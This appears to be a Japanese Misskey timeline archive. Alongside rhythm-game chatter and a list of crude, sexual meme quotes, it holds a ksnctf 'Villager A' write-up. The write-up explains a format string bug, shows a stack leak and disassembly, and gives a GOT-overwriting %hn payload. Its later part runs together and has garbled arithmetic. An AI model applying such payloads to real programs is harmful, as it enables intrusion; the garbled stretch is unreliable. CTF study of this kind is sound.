今日だよ
みすきー
Note: 9880(+418)
Follow : 35(+0)
Follower :134(+2)
Rate:101.741936
#misshaialert
ﾃﾚﾚｯﾃﾚﾚｯﾃﾚﾚｯって頭の中ではリズム出来てるのに指が追いつかない
RE: https://metaskey.net/notes/01H0ATYEHB3HF7NKRZTMJ3APAP
旧筐体だけど誰もやらないのに店長さんが皆伝ガチ勢だからメンテが良い
他音ゲーはお子様がやりすぎてすごいことになってる
RE: https://metaskey.net/notes/01H0AVJH48C46G9Q677SGH77VG
sdvxのvmが置いてあるお店は一緒にiidxのlmも置いてある確率が高いのでそれを気にしてたりするかも
じゃあksnctfの最初の方にあるVillager Aをリアルタイムで解きながら解説をmisskeyに投げていこう
今回は書式文字列攻撃(Format String Attack)を利用した。
どのような場合に有効かというとprintf("%s", str)と書くところをprintf(str)と書いてしまうことで使用することが出来る。
対して変わらないじゃん！って思うでしょ？
もし%pが渡されたときstrのままだとprintf("%p")となってしまうのでスタックの中身を吐き出しちゃう。
これを利用してflag.txtのところまで吹っ飛ぶ作戦
まずはどこにローカル領域があるのか特定するために%pを沢山置いてみる。
そうすると400, 39d440, 8, 14, af0fc4, 61616161って帰ってくる
ローカル領域が6番目のstrに格納されてるのがわかるね。
次に逆アセンブルしてどんな処理してるのか見よう
08048474 : ←putcharを実行すると呼び出される
8048474: ff 25 e0 99 04 08 jmp DWORD PTR ds:0x80499e0
804847a: 68 08 00 00 00 push 0x8
804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>
80485fc: e8 b3 fe ff ff call 80484b4 ←入力された文字を出してる
8048608: e8 67 fe ff ff call 8048474 ←`\nを出力`
8048691: c7 44 24 04 e6 87 04 mov DWORD PTR [esp+0x4],0x80487e6 ←ファイルの中身を呼び出す文字列表示→\nを出力してる。jmp, jneで実行されないように邪魔されてる。Format String Attackって呼ぶとかっこいいね）putcharを呼び出してるcall 8048474 , call 80484b4 を呼び出すように書き換えちゃえばいい0x080499e0を0x08048691に書き換えちゃおう。0x080499e0に0x86, 0x910x080499e2に0x08, 0x048 + 34441 = 0x86918 + 34441 + 33139 = 0x0804"\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn"
『犯行時間わずか15分… スマホの電話番号を乗っ取り不正に送金する“SIMスワップ詐欺” 1000万円送金された男性も 警視庁が初摘発【news23】｜TBS NEWS DIG - YouTube』 - https://www.youtube.com/watch?v=Xka0dkwNmqs
このアカウントは、notestockで公開設定になっていません。
クエストの無線と言ったら
AirLink, VirtualDesktop, ALVRだよね
'メサムラ？メッサムラムラ！？',
'ヤりましょう！',
'パンパンパンパンパンパン！パンパン！',
'腰腰腰腰腰腰腰腰腰',
'出た～出た！出たぁ～…',
'下品だなぁ そうに決まってる',
'ヌプ、ヌプヌプしてる！なんだこれ',
'説xしたい…',
'MineinTVでケツの穴とか言ったことあんま無いけど',
'ベバンダ…アナ、ゥ',
'あーなるほどね',
'あ、なる！',
'あ、なるなる',
'ｺｹｹ!🐔',
'←ついにおかしくなったw',
'(レイプされちゃった・・・)',
'なんだこの自己満動画',
'ローション！？ローションって…',
'満己',
'ムラ、ムラ',
'枕仕事',
'Hikakin Maniaとは、『日本のYouTuberであるHIKAKIN氏の切り抜きを投稿していたYouTubeのチャンネル名』および、前者から派生した『HIKAKINを面白おかしくネタにして彼を弄ったり、動画を勝手に編集して下品に改変するコンテンツ』の総称を指す言葉である。',
'ﾀﾀﾅｲ!',
'大麻だ、ありがたい',
'しんでね 言うまでもない',
'許せんなぁ…許せんなぁ！',
'ﾅﾆｺﾚ…ﾊ?ﾁｮｯﾄﾏｯﾃﾁｮｯﾄﾏｯﾃ... ←キレてる',
'なんだこの自己満己満己満己満動画'
このアカウントは、notestockで公開設定になっていません。
